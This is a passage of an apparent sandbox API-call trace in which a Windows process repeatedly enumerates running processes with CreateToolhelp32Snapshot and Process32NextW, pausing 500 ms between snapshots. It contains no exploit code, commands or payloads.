cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0229.031] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0229.033] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0229.035] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0229.036] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.037] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.039] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.040] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.041] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.043] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0229.045] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.046] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.047] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0229.047] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.048] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0229.049] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0229.051] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0229.052] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0230.880] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0230.882] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0230.883] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0230.884] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0230.885] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0230.886] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0230.887] CloseHandle (hObject=0x1d4) returned 1 [0230.887] Sleep (dwMilliseconds=0x1f4) [0231.818] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c8 [0231.823] Process32FirstW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.824] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0231.825] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0231.826] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.827] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0231.828] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.829] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0231.830] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0231.831] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0231.833] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0231.835] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.836] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.837] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.838] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.839] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.840] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0231.841] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.842] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.844] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0231.845] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.846] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0231.847] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0231.848] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0231.849] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0231.850] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0231.852] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0231.853] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0231.855] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0232.471] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0232.472] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0232.473] CloseHandle (hObject=0x1c8) returned 1 [0232.473] Sleep (dwMilliseconds=0x1f4) [0233.284] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c8 [0233.290] Process32FirstW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.291] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0233.292] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0233.293] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.294] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0233.295] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.296] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0233.299] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0233.302] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0233.306] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0233.307] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.310] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.312] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.313] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.314] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.317] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0233.319] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.320] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.321] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0233.323] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.324] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0233.325] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0233.327] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0233.328] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0234.014] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0234.017] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0234.019] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0234.020] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0234.022] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, 